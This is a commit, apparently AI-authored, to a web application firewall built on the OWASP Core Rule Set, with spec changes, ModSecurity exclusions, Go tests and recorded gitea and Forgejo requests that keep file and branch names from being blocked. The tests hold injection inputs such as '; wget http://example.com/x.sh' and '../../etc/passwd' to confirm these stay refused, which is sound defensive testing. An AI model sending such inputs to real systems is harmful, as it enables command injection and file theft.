Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- tree_path, commit_summary and content on the web editor's pages:
  edit, new file, delete, upload, patch, cherry-pick and preview;
- fields that name a branch, for Windows commands and command names:
  new_branch_name, old_branch_name, old_ref_name, from, to, head, base,
  branch and new_branch; base also when a pull request is edited
  through the API;
- message of one file or several changed through the API, for system
  files and Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

SPEC.md

@@ -826,9 +826,10 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
    with any script removed and returns only to its own pages. Every other cookie
    is read in full.
 3. On gitea's paths, some fields skip the rules that refused ordinary gitea
-   requests there. They are the fields where gitea sends a search, a file name,
+   requests there. They are the fields where gitea sends a search, a file's name
-   a branch name or a repository's name. `internal/coreruleset/gitea.conf` lists
+   or text, a commit message, a branch name or a repository's name.
-   each rule and the request it refused. The fields are:
+   `internal/coreruleset/gitea.conf` lists each rule and the request it refused.
+   The fields are:
     - `q` on gitea's searches of code, of issues and pull requests, and of
       commits. A code search holds code, such as `<script>`,
       `SELECT * FROM users WHERE` or `../`. The searches of issues and pull
@@ -924,6 +925,46 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
         - to start a release from a tag;
         - to edit a branch protection rule;
         - to list a directory's last commits.
+    - A file's name or text, a commit message or a branch name in a body field.
+      The web editor's pages are:
+        - a file's edit page;
+        - the page for a new file;
+        - a file's delete page;
+        - the upload page;
+        - the page that applies a patch;
+        - the page that cherry-picks a commit;
+        - the preview of a file's changes, which sends the file's text in
+          `content`.
+
+        The fields are:
+        - `tree_path` on these pages, for system files, Windows commands and
+          command names (930120, 932120, 932260);
+        - `commit_summary` there, for system files and Windows commands (930120,
+          932120);
+        - `content` there, the file's text or the patch, for a Unix command at
+          the start of a line (932235);
+        - `message` of one file or several created, changed or deleted through
+          the API, for system files and Windows commands (930120, 932120).
+
+        These fields name a branch and skip the lists of Windows commands and
+        command names (932120, 932260):
+        - `new_branch_name` on the web editor's pages, a new branch for the
+          commit;
+        - `new_branch_name` of a branch created on the web or through the API;
+        - `old_branch_name` and `old_ref_name` of a branch created through the
+          API, which name where it starts;
+        - `from` and `to` of a branch renamed on the web;
+        - `head` and `base` of a pull request opened through the API, and `base`
+          of one edited through it;
+        - `branch` and `new_branch` of one file or several created, changed or
+          deleted through the API.
+
+        Names such as `docker-compose.yml`, `.htaccess`, `feat/docker-support`
+        and `fix-powershell-module` were refused.
+        `; wget http://example.com/x.sh` and path traversal are still refused in
+        these fields. These exclusions matter only while `SWW_WAF_BODY_LIMIT` is
+        set. None applies when the query has a parameter of the same name.
+
     - `id` of the forms that adopt or delete an unadopted repository, for the
       rules that refused repository names (930120, 932120, 932160, 932260). `id`
       holds the repository's name, such as `python3-app` or `.profile`. The
@@ -1647,9 +1688,11 @@ Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo`
 gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and
 gitea does not.
 
-On Forgejo's paths, `q` on some of its searches skips the rules that refused
+On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo
-ordinary Forgejo searches there. `internal/coreruleset/forgejo.conf` lists each
+requests there. `internal/coreruleset/forgejo.conf` lists each rule and the
-rule and the search it refused. The searches are:
+request it refused.
+
+`q` skips rules on some of Forgejo's searches. The searches are:
 
 - the search of a wiki, on `/<owner>/<repo>/wiki/search`;
 - the search of a repository's releases, on `/<owner>/<repo>/releases` and
@@ -1682,6 +1725,12 @@ These paths are matched at the site root.
 On `/admin/repos`, where the admin page searches the names of repositories, `q`
 skips the list of command names (932260), which refused `python3`.
 
+Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
+gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from`
+and `to` skip the lists of Windows commands and command names (932120, 932260),
+which refused `fix-powershell-module` and `feat/docker-support`. This matters
+only while `SWW_WAF_BODY_LIMIT` is set.
+
 The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
 puts what gitea puts in `gitea_flash` (gitea's second fix).
 

internal/coreruleset/coreruleset_test.go

@@ -915,11 +915,15 @@ const passwordKey = "password"
 // retypeKey is the field in which apps take the same password again.
 const retypeKey = "retype"
 
+// htaccess is the name of a web server's settings file, which the list of
+// system files (930120) holds.
+const htaccess = ".htaccess"
+
 // hardValues are words that name commands and files, as a query or form
 // value. An app's tests check that its fields let them through.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
+var hardValues = []string{"python3", "powershell", "ls%20-la", htaccess}
 
 // randomPassword returns a password of 20 characters, each one of the 95
 // printable ASCII characters, space included, drawn from random.
@@ -1644,7 +1648,7 @@ func wordpressWords() []struct {
 		value string
 		rule  int
 	}{
-		{".htaccess", 930120},
+		{htaccess, 930120},
 		{"powershell", 932120},
 		{"ls -la", 932250},
 		{"python3", 932260},
@@ -2317,6 +2321,9 @@ const scriptTag = "<script>alert(1)</script>"
 // pathTraversal is a path traversal, not escaped.
 const pathTraversal = "../../etc/passwd"
 
+// shellCommand is commandInjection, not escaped.
+const shellCommand = "; wget http://example.com/x.sh"
+
 // readingBodies returns the Core Rule Set as sww runs it by
 // default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
@@ -2586,6 +2593,222 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
 	)
 }
 
+// nameInBody is a name gitea or Forgejo sends in field of a body to path.
+// contentType is formData or jsonBody.
+type nameInBody struct{ path, contentType, field, name string }
+
+// giteaNamesInBodies returns names gitea and Forgejo send in a body field that
+// skips the rules that refused them there: a file's path or text, a commit's
+// summary or message, and the branch names of giteaBranchNamesInBodies.
+func giteaNamesInBodies() []nameInBody {
+	const (
+		repo = "/alice/tools"
+		api  = "/api/v1/repos/alice/tools"
+
+		// Fields that several paths send.
+		treePath      = "tree_path"
+		commitSummary = "commit_summary"
+		message       = "message"
+	)
+
+	// A file's path or text, or a commit's summary or message.
+	texts := []nameInBody{
+		{
+			repo + "/_edit/main/compose.yml",
+			formData,
+			treePath,
+			"docker-compose.yml",
+		},
+		{repo + "/_edit/main/.htaccess", formData, treePath, htaccess},
+		{
+			repo + "/_edit/main/scripts/install-script.sh", formData,
+			treePath, "scripts/install-script.sh",
+		},
+		{repo + "/_new/main/", formData, treePath, "docs/python3-setup.md"},
+		{
+			repo + "/_delete/main/.htaccess",
+			formData,
+			commitSummary,
+			"Remove .htaccess",
+		},
+		{
+			repo + "/_new/main/",
+			formData,
+			"content",
+			"# Setup\r\n\r\nInstall the tools.\r\n",
+		},
+		{
+			repo + "/_preview/main/docs/setup.md",
+			formData,
+			"content",
+			"# Setup\r\n\r\nInstall the tools.\r\n",
+		},
+		{
+			repo + "/_upload/main/scripts/powershell",
+			formData,
+			treePath,
+			"scripts/powershell",
+		},
+		{
+			repo + "/_upload/main/scripts/powershell", formData,
+			commitSummary, "Add a PowerShell build script",
+		},
+		{
+			repo + "/_cherrypick/6b02ec9/main",
+			formData,
+			commitSummary,
+			"Document .htaccess",
+		},
+		{
+			api + "/contents/scripts/powershell-build.ps1", jsonBody,
+			message, "Add a PowerShell build script",
+		},
+		{api + "/contents/.htaccess", jsonBody, message, "Remove .htaccess"},
+		{
+			api + "/contents",
+			jsonBody,
+			message,
+			"Add the PowerShell setup notes",
+		},
+		{api + "/contents", jsonBody, message, "Document .htaccess"},
+	}
+
+	return slices.Concat(texts, giteaBranchNamesInBodies())
+}
+
+// giteaBranchNamesInBodies returns the branch names gitea and Forgejo send in
+// a body field that skips the rules that refused them there. Each field comes
+// with a name for each rule it skips: feat/docker-support for the command
+// names (932260), and fix-powershell-module for the Windows commands (932120).
+func giteaBranchNamesInBodies() []nameInBody {
+	const (
+		repo = "/alice/tools"
+		api  = "/api/v1/repos/alice/tools"
+
+		// Fields that several paths send.
+		branch        = "branch"
+		newBranchName = "new_branch_name"
+	)
+
+	branchFields := []struct{ path, contentType, field string }{
+		{repo + "/_edit/main/compose.yml", formData, newBranchName},
+		{repo + "/_new/main/", formData, newBranchName},
+		{repo + "/_delete/main/.htaccess", formData, newBranchName},
+		{repo + "/_upload/main/docs", formData, newBranchName},
+		{repo + "/_diffpatch/main/", formData, newBranchName},
+		{repo + "/_cherrypick/6b02ec9/main", formData, newBranchName},
+		{repo + "/branches/_new/branch/main", formData, newBranchName},
+		{repo + "/branches/rename", formData, "from"},
+		{repo + "/branches/rename", formData, "to"},
+		// Forgejo's path for renaming a branch.
+		{repo + "/settings/rename_branch", formData, "from"},
+		{repo + "/settings/rename_branch", formData, "to"},
+		{api + "/branches", jsonBody, newBranchName},
+		{api + "/branches", jsonBody, "old_branch_name"},
+		{api + "/branches", jsonBody, "old_ref_name"},
+		{api + "/pulls", jsonBody, "head"},
+		{api + "/pulls", jsonBody, "base"},
+		{api + "/pulls/1", jsonBody, "base"},
+		{api + "/contents/docs/notes.md", jsonBody, branch},
+		{api + "/contents/docs/notes.md", jsonBody, "new_branch"},
+		{api + "/contents", jsonBody, branch},
+		{api + "/contents", jsonBody, "new_branch"},
+	}
+
+	branchNames := []string{"feat/docker-support", "fix-powershell-module"}
+
+	names := make([]nameInBody, 0, len(branchFields)*len(branchNames))
+
+	for _, f := range branchFields {
+		for _, name := range branchNames {
+			names = append(
+				names,
+				nameInBody{f.path, f.contentType, f.field, name},
+			)
+		}
+	}
+
+	return names
+}
+
+// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
+// gitea and Forgejo name a file or a branch. Each lets through the name that
+// was refused there, and still refuses a shell command after a ";" and a path
+// traversal. The same name is still refused in another field on the same path,
+// and in the field itself when the query has a parameter of the field's name.
+func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := readingBodies(t)
+
+	for _, tc := range giteaNamesInBodies() {
+		r := request{http.MethodPost, tc.path, []string{tc.contentType}}
+
+		body := func(field, value string) string {
+			if tc.contentType == formData {
+				return field + "=" + url.QueryEscape(value)
+			}
+
+			quoted, err := json.Marshal(map[string]string{field: value})
+			if err != nil {
+				t.Fatal(err)
+			}
+
+			return string(quoted)
+		}
+
+		if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
+			t.Errorf(
+				"%s %s=%q refused: %+v",
+				tc.path,
+				tc.field,
+				tc.name,
+				got,
+			)
+		}
+
+		if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
+			t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
+		}
+
+		param := tc.field
+		if tc.contentType == jsonBody {
+			param = "json." + tc.field
+		}
+
+		queried := request{
+			http.MethodPost,
+			tc.path + "?" + param + "=x",
+			r.headers,
+		}
+
+		got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
+		if got.Score < threshold {
+			t.Errorf(
+				"%s %s=%q let through: %+v",
+				queried.target,
+				tc.field,
+				tc.name,
+				got,
+			)
+		}
+
+		for _, attack := range []string{shellCommand, pathTraversal} {
+			if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
+				t.Errorf(
+					"%s %s=%q let through: %+v",
+					tc.path,
+					tc.field,
+					attack,
+					got,
+				)
+			}
+		}
+	}
+}
+
 func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/drupal_test.go

@@ -259,7 +259,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 	for _, attack := range []string{
 		injection,
 		scriptTag,
-		`; wget http://example.com/x.sh`,
+		shellCommand,
 		`../../sites/default/settings.php`,
 	} {
 		for _, field := range []string{"name", "mail"} {

internal/coreruleset/forgejo.conf

@@ -128,4 +128,18 @@ SecRule REQUEST_FILENAME \
 SecRule REQUEST_FILENAME "@streq /admin/repos" \
     "id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
 
+# Forgejo renames a branch on its own path, where from and to name branches.
+# They skip these rules:
+#   932120: fix-powershell-module
+#   932260: feat/docker-support
+# They are read only while SWW_WAF_BODY_LIMIT is set, and skip nothing when the
+# query has a parameter of the same name.
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
+    "id:900666,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:from,\
+        ctl:ruleRemoveTargetById=932260;ARGS:from,\
+        ctl:ruleRemoveTargetById=932120;ARGS:to,\
+        ctl:ruleRemoveTargetById=932260;ARGS:to"
+
 SecMarker END_FORGEJO

internal/coreruleset/gitea.conf

@@ -1,8 +1,9 @@
 # gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
-# They are the fields where gitea sends a search, a file name, a branch name or
+# They are the fields where gitea sends a search, a file's name or text, a
-# a repository's name. Each exclusion runs with the request, before the rules it
+# commit message, a branch name or a repository's name. Each exclusion runs with
-# switches off, those of phase 1 included, so this file is loaded before the
+# the request, before the rules it switches off, those of phase 1 included, so
-# Core Rule Set's rules. Each comment names a request the rule refused.
+# this file is loaded before the Core Rule Set's rules. Each comment names a
+# request the rule refused.
 
 # Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
 # while SWW_APPS is unset, or lists gitea or forgejo for the request's hostname.
@@ -392,6 +393,91 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
 SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
     "id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
 
+# The requests below name a file or a branch in a body field, which is read only
+# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it.
+# Each field below that names a branch skips these rules:
+#   932120: fix-powershell-module
+#   932260: feat/docker-support
+# None applies when the query has a parameter of the same name.
+
+# The web editor's save, new file, delete, upload, patch, cherry-pick and
+# preview. The file's path, in tree_path, skips these rules:
+#   930120: .htaccess
+#   932120: scripts/install-script.sh
+#   932260: docker-compose.yml
+# The commit's summary, in commit_summary, skips these rules:
+#   930120: Remove .htaccess
+#   932120: Remove scripts/install-script.sh
+# The file's text or the patch, in content, skips one rule:
+#   932235: a line that starts with install
+# A new branch for the commit is named in new_branch_name.
+SecRule REQUEST_FILENAME \
+    "@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete|_upload|_diffpatch|_cherrypick|_preview)/" \
+    "id:900660,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
+        ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
+        ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
+        ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
+        ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
+        ctl:ruleRemoveTargetById=932235;ARGS:content,\
+        ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
+
+# A branch created on the web, in new_branch_name.
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
+    "id:900661,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:new_branch_name "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
+
+# A branch renamed on the web, in from and to.
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
+    "id:900662,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:from,\
+        ctl:ruleRemoveTargetById=932260;ARGS:from,\
+        ctl:ruleRemoveTargetById=932120;ARGS:to,\
+        ctl:ruleRemoveTargetById=932260;ARGS:to"
+
+# A branch created through the API, in new_branch_name. It starts from the
+# branch in old_branch_name, or the branch, tag or commit in old_ref_name.
+SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
+    "id:900663,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name"
+
+# A pull request opened through the API, from the branch in head into the
+# branch in base.
+# An edit of one sends its new target branch in base.
+SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$" \
+    "id:900664,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:json.head,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.head,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.base,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.base"
+
+# One file or several created, changed or deleted through the API, on the branch
+# in branch. A new branch for the commit is named in new_branch. The commit's
+# message, in message, skips these rules:
+#   930120: Remove .htaccess
+#   932120: Add a PowerShell build script
+SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents(?:/|$)" \
+    "id:900665,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\
+        ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.message"
+
 # An artifact upload from actions/upload-artifact@v3 sends the header
 # Content-Range, which the Core Rule Set refused (920450).
 SecRule REQUEST_FILENAME \

internal/coreruleset/recorded_test.go

@@ -206,9 +206,11 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
 // TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
 // defaults only: with SWW_APPS unset, and on example.com, where they were
 // recorded, while SWW_APPS lists only forgejo for it. While bodies are read,
-// the Core Rule Set still refuses the file and branch names some of them
+// the Core Rule Set still refuses a new wiki page whose title and text name
-// carry in a form or JSON body, as it does gitea's
+// commands and files, as it does such text in gitea's comments
-// (TestGiteaBodiesTheCoreRuleSetRefuses).
+// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
+// branch in a body are checked while bodies are read in
+// TestForgejoNamesInBodiesPass.
 func TestOrdinaryForgejoRequestsPass(t *testing.T) {
 	t.Parallel()
 
@@ -236,6 +238,21 @@ func TestOrdinaryForgejoRequestsPass(t *testing.T) {
 	}
 }
 
+// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
+// file or a branch in a body, while bodies are read too.
+func TestGiteaNamesInBodiesPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt", gitea)
+}
+
+// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
+func TestForgejoNamesInBodiesPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt", forgejo)
+}
+
 func TestOrdinaryMastodonRequestsPass(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/testdata/forgejo-names-in-bodies.txt

@@ -0,0 +1,41 @@
+# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
+# the Core Rule Set must let through while it reads bodies. They were recorded
+# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
+# API. Each line is one request as JSON. Names, cookies and tokens are
+# invented. The browser's User-Agent is an ordinary Chrome's.
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
+{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
+{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
